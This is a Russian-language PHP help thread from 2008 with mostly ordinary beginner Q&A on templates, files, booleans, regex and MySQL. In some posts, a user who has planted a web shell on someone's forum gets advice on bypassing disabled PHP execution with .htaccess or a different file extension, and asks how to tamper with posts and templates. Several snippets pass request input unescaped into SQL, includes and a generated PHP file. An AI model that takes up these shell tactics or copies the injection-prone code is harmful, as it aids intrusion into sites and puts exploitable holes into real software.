Jer1cho
30.08.2008, 18:57
Можно и без smarty, если я так понял:

<?php
$shablon = '<html>
<head>
<title>test</title>
</head>
<body>
{MENU}
</body>
</html>';
$menu = "<a href=\"#\">Меню</a>";
$men = str_replace ("{MENU}", $menu , $shablon );
echo $men;
?>

На smarty:

<?php
require_once('./Smarty.class.php');
$smarty = new Smarty();
$smarty->template_dir = './templates/';
$smarty->compile_dir = './templates_c/';
$smarty->config_dir = './configs/';
$smarty->cache_dir = './cache/';

$smarty->assign('menu', 'Меню');
$smarty->display('shablon.tpl');
?>

aqqa
30.08.2008, 19:30
Delphi for PHP Есть документация?

Хацкер
30.08.2008, 19:50
Я сделал так

<?php
$handle = fopen("tmp.tpl","r");
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
$shablon.=$buffer;
}
fclose($handle);

$menu = "<a href=\"#\">Меню</a>";
$men = str_replace ("{MENU}", $menu , $shablon );
echo $men;

?>

Все ок. Но когда я добавляю еще

$bl = "пипец";
$block = str_replace ("{BLOCK}", $bl , $shablon );

Получается

<?php
$handle = fopen("tmp.tpl","r");
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
$shablon.=$buffer;
}
fclose($handle);


$menu = "<a href=\"#\">Меню</a>";
$bl = "пипец";
$men = str_replace ("{MENU}", $menu , $shablon );
$block = str_replace ("{BLOCK}", $bl , $shablon );
echo $men, $block;

?>

То выводиться

Меню
{BLOCK}{MENU}
пипец

Почему так?

Doom123
30.08.2008, 19:59
Хацкер


$shablon = str_replace ("{MENU}", $menu , $shablon );
$shablon = str_replace ("{BLOCK}", $bl , $shablon);
echo $shablon;


так выходит потому как ты берёш шаблан и заменяеш в нём меню НО ты присваеваеш модификацию другой переменой .. поэтому шаблон содержание переменой $shablon не изменяется ... во второй раз ты подставляеш не изменёный шаблон а тот что был в првоначальном виде ... и заменяется там только {BLOCK} а {MENU} остаёца т.к это первоначальный вид переменой $shablon


надеюсь ты понел xD

cylaaaan
30.08.2008, 20:08
<?

if(isset($_POST['subbase'])){
$body = '<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU=true;
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH="'.$_POST[URLPATH].'";
//Путь к шаблону
$PATH_TEMPLATE="'.$_POST[PATH_TEMPLATE].'";
//Заголовок на сайте
$TITLE="'.$_POST[TITLE].'";
//Описание сайта
$DESCR="'.$_POST[DESCR].'";
//Ключевые слова для вашего сайта
$KEYWORDS="'.$_POST[KEYWORDS].'";
//Копирайты в поддоне
$COPYRIGHTS="'.$_POST[COPYRIGHTS].'";
?>';
$base=fopen("configbase.php","w");
fwrite($base,$body);
fclose($base);
echo "Saved!";
}


include("configbase.php");// что бы видеть реальные значения переменных в value



?>

Отредактировал.
Должно работать

Хацкер
30.08.2008, 20:25
надеюсь ты понел xD

Понел))

Вот еще вопрос.

if ($text)
{
if(!isset($_GET['p']) || empty($_GET['p']))
{
$_GET['p']='index';
}
@include 'data/'.$_GET['p'].'.txt';
}

$shablon = str_replace ("{TEXT}", $text , $shablon );


По идее должно выводиться в шаблоне но чтота я сделал не так)) подскажите что плЗ

Смысл выполнить в шаблоне скрипт через {TEXT}

Zircool
30.08.2008, 23:34
Ещё один вопросик... есть файл config.php
Вот его содержимое

<?
$CPU="true";
$URLPATH="http://satellite-x.test/";
$PATH_TEMPLATE="./shablony/newshablon.php";

?>


Нужно открыть этот файл и заменить одну из строк на нужное значение... Вот как я делаю fopen;fread;
str_replace;fwrite;fclose Как лучше это оформить?

EST a1ien
30.08.2008, 23:42
fopen;fread; - лучше в данном случае использовать file

file -- Читает содержимое файла и помещает его в массив
Описание
array file ( string filename [, int use_include_path [, resource context]] )

.:EnoT:.
31.08.2008, 00:10
Zircool, тупо замена строки в файле
<?php
$change1 = '$CPU="true"'; //Найти
$change2 = '$CPU="false"'; //Поменять на
$filename = 'config.php'; //Файл
$file = str_ireplace($change1, $change2, file_get_contents($filename));
$put = file_put_contents($filename, $file);
if($put) echo 'Строка заменена';
?>

Вопрос: как сохранить изображение полученное при помощи file_get_contents() ? Час уже не могу допереть =\\

Jer1cho
31.08.2008, 00:44
Вопрос: как сохранить изображение полученное при помощи file_get_contents() ? Час уже не могу допереть =\\
Банальная запись в файл, наверно ты просто что-то напутал там...

<?php
$f = file_get_contents('x.png');
$fp = fopen('y.png', 'w');
fwrite($fp, $f);
fclose($fp);
?>

Zircool
31.08.2008, 00:56
Как можно вывести значение переменной, значение которой может быть только true Или false, к примеру есть файл list.php
листинг файла list.php


$CASH=true;
$CRON=false;

echo $cash;



Но при echo ничего не выводится 1 а не true а можно ли true вывести

Zedi
31.08.2008, 01:29
Делать условие если булевая переменная тру, то текстовая переменная тру

mr.The
31.08.2008, 01:47
Но при echo ничего не выводится 1 а не true а можно ли true вывести
$CASH=true;

if($CASH) {
echo "True";
} else {
echo "False";
}
вот так только

cylaaaan
31.08.2008, 01:50
$CASH=true;
$CRON=false;

echo $cash;

переменные чувствительны к регистру

if($CASH) {
echo "True";
} else {
echo "False";
}

не вижу смысла закругленных скоб

if($CASH)
echo "True";
else
echo "False";

Kaimi
31.08.2008, 02:02
не вижу смысла закругленных скоб

Не вижу смысла конструкции if else ))

echo $cash ? "true" : "false";

scrat
31.08.2008, 02:05
Не вижу смысла конструкции if else ))

echo $cash ? "true" : "false";

одно и тоже по сути.Просто сокращение,зато if/else читабельнее

mr.The
31.08.2008, 02:33
не вижу смысла закругленных скоб
у тебя плохой стиль программирования =\
Не вижу смысла конструкции if else ))
извращенец. после этого хрен что разберёш.... особоенно в больших скриптах

.:EnoT:.
31.08.2008, 02:52
Не вижу смысла конструкции if else ))
echo $cash ? "true" : "false";
не вижу смысла использовать двойные кавычки :D
echo $cash ? 'true' : 'false';

159932
31.08.2008, 02:59
не вижу смысла использовать двойные кавычки :D
echo $cash ? 'true' : 'false';
не вижу смысла ставить пробелы :p
echo$cash?'true':'false';

Kaimi
31.08.2008, 03:04
Пфф, ну тогда уж:


var_export($cash);

SVAROG
31.08.2008, 09:13
<?php
for($i=1;$i<10;$i++)
{

$text="пиписки";
$ht=$i;
$str=(string) $ht;
$string=$str+$text;
echo("$string\n");
}
?>

нужно что бы число из цикла($i) преобразовывалось в string и соединялось с текстом($text)
код выводит 1 2 3 4 5 6 7 8 9
з. ы. главное что бы именно соединялось число с текстом а не выводилось

BlackSun
31.08.2008, 09:15
$text .= $text.$i;

FrMn
31.08.2008, 11:38
BlackSun, можт лучше $text = $text.$i; или $text .= $i; ?

159932
31.08.2008, 11:42
$text .= $i;
тк кк используется меньше символов ..

Хацкер
31.08.2008, 11:59
Можно пример безопасной авторизации на php с помощью сессий или http где
$login
$pass
логин и пароль

159932
31.08.2008, 12:11
<?php
session_start();
$login = "z";
$password = "z";
if ($_POST['login'] == $login and $_POST['password'] == $password) {
$_SESSION['auth'] = TRUE;
exit();
} elseif ($_SESSION['auth']) {
die('то что после авторизации');
}
?>
<form action="" method="POST">
login: <input type="text" name="login"><br>
password: <input type="password" name="password"><br>
<input type="submit" name="Enter">
</form>

Хацкер
31.08.2008, 12:19
159932 Смысл понятен. На как быть если после входа нада воспользоваться инклудом или тут же вывести php и html страницу вместо

die('то что после авторизации');

Пробывал, непомогает

@include ' ';
die('то что после авторизации');

159932
31.08.2008, 12:26
а ты @ убери и посмотри пишет ли ошибку ..

Хацкер
31.08.2008, 12:28
а ты @ убери и посмотри пишет ли ошибку ..

пустая страница выводится

159932
31.08.2008, 12:30
пустая страница выводится
значит или у тебя вывод ошибок выключен, или инклуд произошёл :p

Хацкер
31.08.2008, 12:34
значит или у тебя вывод ошибок выключен, или инклуд произошёл :p

что это может быть? в подгружаемом файле ничего же ненадао прописывать?

159932
31.08.2008, 12:42
что это может быть? в подгружаемом файле ничего же ненадао прописывать?
ну мало ли .. смотря что тебе нужно :p

Хацкер
31.08.2008, 18:09
Есть строка

$tratra=true;

Когда читаеш true в форме то появляется цифра 1 и при сохранении сохраняется 1.

Как можно сделать чтобы true и false так и показывались?

Barttos
31.08.2008, 18:19
$tratra = 'true';
:))

.:EnoT:.
31.08.2008, 18:19
Есть строка

$tratra=true;

Когда читаеш true в форме то появляется цифра 1 и при сохранении сохраняется 1.

Как можно сделать чтобы true и false так и показывались?
Ну я думаю так:
<?php
$a = true;
$form = $a ? 'true' : 'false';
echo '<textarea name="name">'.$form.'</textarea>';
?>

Хацкер
31.08.2008, 18:21
$tratra = 'true';
:))


Смысл твоего поста? У меня все вернО!

Kaimi
31.08.2008, 18:41
$a = true;
$form = $a ? 'true' : 'false';
echo '<textarea name="name">'.$form.'</textarea>';

Когда же вы перейдете на Dell? (c) Реклама )

Пешы var_export ))

Isis
31.08.2008, 18:52
Есть строка

$tratra=true;

Когда читаеш true в форме то появляется цифра 1 и при сохранении сохраняется 1.

Как можно сделать чтобы true и false так и показывались?
Для этого существует булев тип php.net/boolean

<?php
var_dump((bool) "false"); // bool(true)
?>

XopoIII
01.09.2008, 13:10
вопросик, мне нужно в курсовике, изменить херову гору знаков, в ручную пол дня займет наверное, нужно из
00:26:10640
сделать
00:26:10,640

а цифры везде разные...можно ли как нибуть сделать, чтобы ставилась запятая после второго : и двух знаков??
=(

slesh
01.09.2008, 13:28
юзай PCRE с их регялрными выражениями.

<?php
$string = "твоя огромная строка";
$pattern = "/тут шаблон поиска/";
$replacement = "тут шаблон замен";
echo preg_replace($pattern, $replacement, $string);
?>


шаблон для поика чтото типа
2 цифры двоеточие 2 цифры двоеточие 2 цифры потом в выборку взять оставшие цифры и заменить их на ,эти цифры.
Сори времяни нет писать на pcre

XopoIII
01.09.2008, 14:12
спасиб слэш, но ты представь, в файле 100000 строк, и мне их обрамлять внутрь $string...даже если не взорвется, то форматирование пропадет...

slesh
01.09.2008, 14:15
дык $f=file('filename.ext');
и теперь у тя в $f массив
а там уже как хошь так и обращайся к нему
for ($x=0;$x<count($f);$x++)
{
$st=$f[$x];
}

криво, но алгоритм думаю будет понятен

Ну еще смотря какой у тя формат файла.
перегони в html или чтото подобное чтобы форматирование непотерять. ;)

XopoIII
01.09.2008, 14:20
да вот с форматом конечн тож косяк, ща ченить придумаю

XopoIII
01.09.2008, 14:36
блин косяк в том что, если по твоей схеме, то он ищет же и изменяет именно то что в шаблоне стоит...а цифры то неповтараются

Dr.Frank
01.09.2008, 14:51
$pattern = "/[0-9]+/";

eLWAux
01.09.2008, 14:52
XopoIII:


<?
//00:26:10640 >> 00:26:10,640
$f=file("input.txt");
$s="";
for ($i=0;$<count($f);$i++)
{
$a=explode(":",$f[$i]); //a[0]=00, a[1]=26, a[2]=10640
$s.=$a[0].":".$a[1].substr($a[2],0,2).",".substr($a[2],3,999)."\r\n";
}
echo $s;
$open=fopen("output.txt","w");
fwrite($open,$s);
fclose($open);
?>


пробуй..
в input.txt входние данние..
в output.txt вИходние данние..

Red_Red1
01.09.2008, 14:58
2 XopoIII
Какой, все же, формат файла?
Если пишешь курсач в WORDе то можно юзать стандартную замену.
Т.е. Правка-Заменить-Больше-Специальный
Маска для поиска ^#^#:^#^#:^#^#
Маска для замены ^&,
где ^# - любая цыфра
^& - искомое выражение
Но есть небольшой косячок поменяет так же и записи вида 24:03:06 т.е. с ДВУМЯ цыфрами в конце.

.:EnoT:.
01.09.2008, 16:43
Лучше регуляркой имхо. Вот с форматом файла хз, потеряется ли форматирование после замены или нет..
Для твоего случая я бы такую регулярку сделал
<?php
$str = '00:26:10640
00:26:10753
00:23:10457
00:20:10156
00:22:10964
00:21:10056
';
$out = preg_replace('#(\d{2}):(\d{2}):(\d{2})(\d{3})#', '\\1:\\2:\\3,\\4', $str);
echo '<pre>'.$out;
?>
Это как пример. Соответственно вначале открываешь нужный файл, потом регуляркой меняешь и записываешь в новый файл (или перезаписываешь старый)

159932
02.09.2008, 14:34
можт у кого завалялся конвертер из png в jpg
ну или хотябы уменьшение качества изображения
для уменьшения веса картинки ..

BlackSun
02.09.2008, 15:25
можт у кого завалялся конвертер из png в jpg
ну или хотябы уменьшение качества изображения
для уменьшения веса картинки ..
Нарыл для перла:
http://webscript.ru/stories/02/11/11/9439190

Для питона:
http://www.akehrer.com/wiki/code:png2jpg

Пхп (только надо доработать):
http://www.epresenterplus.com/kb/doku.php?id=loading_gif_png&

MagickWand For PHP
Manual
http://www.magickwand.org/
Для граффики на пхп - в самый раз

http://www.evolt.org/article/PHP_frontend_to_ImageMagick/17/55650/

159932
02.09.2008, 15:30
сам нашёл ..
<?
$im = imagecreatefrompng('cap.png');
imagejpeg($im,'C:\\w\\htdocs\\i.jpg');
?>

max_rebel
02.09.2008, 23:18
Ламерский вопрос про массивы:

есть такой код

<?php /* первый способ создания массивов */ $name[0] = "огурец"; $name[1] = "помидор"; $name[2] = "баклажан"; $name[3] = "капуста"; $name[4] = "банан"; echo $name[2]; if ($name[4]==банан) { echo "<br/>банан это не овощ"; }

как сделать так, чтоб если $name[] (которая сразу после массива идёт) равна банану,выводилось бы сообщение о том что банан это не овощ? Сечас сообщение выводиться в влюбом случае, а надо чтоб оно выводилось только если $name после массива равна банану

max_rebel
03.09.2008, 01:07
нет=(А что такое error_reporting(0) ; ? Всё равно сообщение

{ echo "<br/>банан это не овощ"; }

видно постоянно,а надо чтоб оно появлялось только если выбран банан

.:nbd:.
03.09.2008, 05:50
error_reporting устанавливает уровень оповещения об ошибках и предупреждениях. Если установить error_reporting(0), сообщения об ошибках и предупреждения выводится не будут.


<?php /* первый способ создания массивов */
$name = array("огурец", "помидор", "баклажан", "капуста", "банан");
$ovosh=$name[4];
if ($ovosh=="банан") { echo "<br/>банан это не овощ"; } else {echo $ovosh;}
?>

max_rebel
03.09.2008, 11:17
ага спасибо большое - вот до этого я и не мог додуматься=(

XopoIII
03.09.2008, 11:18
залил шел на форум, но при загрузке скрипта, выдается тупо полный код...как можно обойти?

Gifts
03.09.2008, 12:04
XopoIII, отключена обработка PHP в папке, в которую заливал. Варианты - залить в ту же папку нормальный .htaccess / залить шелл с другим расширением

Zircool
03.09.2008, 13:32
Как написать счетчик "сколько раз использовался скрипт"... чета никак допереть не могу..

.:nbd:.
03.09.2008, 14:19
Если коротко и без лишних заморочек =)

<?php
$counter=(file_get_contents("count"));
$counter++;
$fh=fopen("count", "w");
fwrite($fh, $counter);
fclose($fh);
?>

обзываем это дело как counter.php создаем рядом файл count и записываем в него 0 (или любое число для начала отсчета). Инклюдим его в своем скрипте и собственно все =)

5triker
03.09.2008, 14:43
<?file_put_contents("count",file_get_contents("count")++)?>

Jer1cho
03.09.2008, 16:27
echo file_get_contents('./file.txt');

svesve
03.09.2008, 16:29
Всем привет!
Помогите с функцией

есть файл text.txt
такого вида
man1=1
man2=1
man3=0
man4=1
......
нужно проверять где 1 и 0 и возращать в случае 1 ответ 1 в случае 0 ответ 0
ну или как то так =)

D Mak
03.09.2008, 16:53
куда возвращать то?
$text = file("text.txt");
for($i=0; $i < count($text); $i++) {
list($first[], $two[]) = explode("=", $text[$i]);
}
print_r($two);

еще можешь заюзать parse_ini_file()

max_rebel
03.09.2008, 17:08
в php не силен. нужнен код :
php-страница + txt файл. в одной папке. Страница отображает содержимое txt файла.
Напишите, плз. Очень нужно.

сделай через ssi
напиши в странице page.html :

<!--#include file="file.txt" -->

это тоже самое что на php include() Если php не учишь - то почитай про SSI - это php для бедных,можно делать всякие простенькие команды типа определить браузер,вывести часы на страницу и т.п.

Dr.Frank
03.09.2008, 17:14
2UnPazz

<?php
$t=file_get_contents("file.txt");
echo $t;
?>

XopoIII
03.09.2008, 18:41
пытаюсь через шелл phpbb, поменять содержимое поста в бд, но **** кодировка получается ?????????????????? ????? ?????????
пробовал добавлять
mysql_query("set character_set_client='UTF-8'");
mysql_query ("set character_set_results='UTF-8'");
с разными кодировками...одно и тоже...что еще можно придумать чтоб кодировка выводилась и заносилась нормальная? кодировка на сервере должна быть UTF-8 но хз

OnArs
03.09.2008, 19:01
пытаюсь через шелл phpbb, поменять содержимое поста в бд, но **** кодировка получается ?????????????????? ????? ?????????
пробовал добавлять
mysql_query("set character_set_client='UTF-8'");
mysql_query ("set character_set_results='UTF-8'");
с разными кодировками...одно и тоже...что еще можно придумать чтоб кодировка выводилась и заносилась нормальная? кодировка на сервере должна быть UTF-8 но хз
проблему с кодировками на phpbb лечил так:
в корне создаёшь файл .htaccess с содержимым
CharsetDisable On
CharsetDefault UTF-8
CharsetSourceEnc UTF-8

5triker
03.09.2008, 19:03
попробуй через iconv() прогонять данные перез загрузкой/выводом

+toxa+
03.09.2008, 19:55
http://ru2.php.net/manual/ru/function.tempnam.php
http://ru.php.net/manual/ru/function.move-uploaded-file.php
http://ru2.php.net/manual/ru/function.ftp-put.php

5triker
03.09.2008, 19:58
примерно так

<form enctype="multipart/form-data" method=post>
<input type=file name=userfile><input type=submit value="Go">
</form>
<?
$fcon=ftp_connect("сервер");
ftp_login($fcon,"login","pass");
ftp_put($fcon,"имя_на_фтп",$_FILES['userfile']['tmp_name'],FTP_ASCII);
ftp_close($fcon);
?>

OnArs
03.09.2008, 20:17
Столкнулся с такой проблемой - нажимаю на ссылку открывается новое окно в котором адресуную строку редактировать нельзя. Оо Как решить? И что это?

GreenBear
03.09.2008, 20:18
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm

blaga
03.09.2008, 20:18
сделано с помощью ява скрипт. решить - зайти через оперу. у нее не скроется.

Кубик Рубик
03.09.2008, 20:28
Привет! У меня возникла проблема с выводом данных из таблицы :confused:

//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
print "$result";


Мне выводит Resource id #3 .
Как мне сделать так чтобы из таблицы pages, выходил заголовок, а потом текст страницы?
Это мой первый опыт. Заранее спасибо! :rolleyes:

FrMn
03.09.2008, 20:36
//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
$row = mysql_fetch_assoc($result);
print_r($row);

OnArs
03.09.2008, 20:40
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm

Очень позновательно, спасибо.

сделано с помощью ява скрипт. решить - зайти через оперу. у нее не скроется.
В неком смысле помогло, теперь другой вопрос:

На экране вижу текст, но открыв "Исходный код страницы" ничего кроме Яваскрипта не вижу... А текст этот мне нужно выдрать исходным кодом... Что делать?

Кубик Рубик
03.09.2008, 20:54
//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
$row = mysql_fetch_assoc($result);
print_r($row);

Мне вывдоит : Array ( [name] => pagename [content] => about page, this page the best. )

Скажу так, как мне сделать чтобы по запросу через GET index.php?page=имя страницы(name) , на странице выводились данные соответствующие имени (page). :confused:

D Mak
03.09.2008, 21:03
тада надо уж while($row = mysql_fetch_assoc($result)) echo $row['name'].$row['content'];

Мне вывдоит : Array ( [name] => pagename [content] => about page, this page the best. )
значит у тя это в бд

Кубик Рубик
03.09.2008, 21:07
ааа все понял, спасибо))

OnArs
03.09.2008, 21:49
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm

Очень позновательно, спасибо.

сделано с помощью ява скрипт. решить - зайти через оперу. у нее не скроется.
В неком смысле помогло, теперь другой вопрос:

На экране вижу текст, но открыв "Исходный код страницы" ничего кроме Яваскрипта не вижу... А текст этот мне нужно выдрать исходным кодом... Что делать?

D Mak
03.09.2008, 22:19
посмотри каким способом яваскрипт берет данные и попробуй повторить..

ЗЫ дай ссылку или дай яваскрипт

XopoIII
04.09.2008, 02:14
как залить файл на серв через шелл?
пробую так:

$text='<br> bla laa';
$edit_file = "/home/admin/domains/public_html/forum/templates/newSilver/left_menu.tpl";
$fp=fopen("$edit_file", "w");
fwrite($fp,"$text");
fclose($fp);

ошибку на $text кричит=( или мож укого етсь котовые скрипти для аплода и замены файлов

[x26]VOLAND
04.09.2008, 02:29
1. Зачем переменные в кавычки заключать ("$edit_file" и "$text")? О_о
2. Проверь права на файл.

OnArs
04.09.2008, 02:54
Возможно ли написать на php или на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна браузера в котором открыта страница?

Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)

159932
04.09.2008, 03:37
на пхп точно нет .. а на жабе можно ..

OnArs
04.09.2008, 08:10
на пхп точно нет .. а на жабе можно ..
Тогда мне стоит ещё и в раздел java написать...

В пока повоторюсь:
Возможно ли написать на php или на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна браузера в котором открыта страница?

Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)

.:nbd:.
04.09.2008, 08:54
Зачем повторяться если ответ уже дали, нет.

paulzey
04.09.2008, 11:53
Насколько я помню, Js имеет доступ только к текущему окну и не более того.

[x26]VOLAND
04.09.2008, 14:01
Возможно ли написать на php или на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна браузера в котором открыта страница?

Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)Из первого окна с помощью JS копируешь весь текст с периодом N и отправляешь его AJAX'ом на удалённый php-скрипт, который записывает полученный текст в файл. Во втором окне задаёшь период обновления страницы из той, что сохранена на удалённом сайте.

Кубик Рубик
04.09.2008, 16:21
Привет. Составлю вопрос в виде задачи:

Есть php-код, который грузит страничку из mysql сервера.

//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
$row = mysql_fetch_assoc($result);
echo $row['content'];

Так выглядит структура таблицы:
http://i044.radikal.ru/0809/8c/6627f64fd667.jpg
По умолчанию грузится первое, тоесть about
Вопрос: Как сделать доступными все записи из базы через GET запрос, например набрав index.php?page=qwerty на странице отображалось this is qwerty ну и т.д.
Заранее спасибо.

5triker
04.09.2008, 16:32
$name=фильтрация $_GET['page'];
$result = mysql_query("SELECT content FROM pages WHERE name=".$name);
echo $result;

OnArs
04.09.2008, 16:57
VOLAND']Из первого окна с помощью JS копируешь весь текст с периодом N и отправляешь его AJAX'ом на удалённый php-скрипт, который записывает полученный текст в файл. Во втором окне задаёшь период обновления страницы из той, что сохранена на удалённом сайте.
Алгоритм мне понятен, кто-нибдуь накидать что-то подобное может?

Кубик Рубик
04.09.2008, 16:59
<?php
//1
$host = "localhost";
$user = "root";
$pass = "vertrigo";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$name=$_GET['page'];
$result = mysql_query("SELECT content FROM pages WHERE name=".$name);
echo $result;
?>
Че то ничего не выходит. даже при ?page=имя

[x26]VOLAND
04.09.2008, 17:03
Че то ничего не выходит. даже при ?page=имя

<?php
//1
$host = "localhost";
$user = "root";
$pass = "vertrigo";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$name=$_GET['page'];
$result = mysql_query("SELECT content FROM pages WHERE name='".$name."'");
$row = mysql_fetch_assoc($result);
echo $row['content'];
?>
Фильтрацию $name не забудь

Кубик Рубик
04.09.2008, 17:36
Так сойдет?

if (!preg_match([^a-zA-Z],$page))
{
echo "error!";
}

ну или с помощью htmlentities() ?

Кубик Рубик
04.09.2008, 17:37
$name=htmlentities($_GET['page']);

}i{YI{
05.09.2008, 01:13
<?php $per = file_get_contents('links.txt'); echo "<html><head><meta http-equiv='refresh' content='0; URL=".$per[array_rand($per)]."'></head></html>"; ?>
стянул в соседней теме, почиму не пашит?

GreenBear
05.09.2008, 01:26
потому что пер нихуя не аррей, замени file_get_contents на file

159932
05.09.2008, 01:31
если я правильно понял что ты хочешь то надо заменить строчку
echo "<html><head><meta http-equiv='refresh' content='0; URL=".$per[array_rand($per)]."'></head></html>";
на
echo "<html><head><meta http-equiv='refresh' content='0; URL=".array_rand($per)."'></head></html>";

GreenBear
05.09.2008, 01:33
это не правильно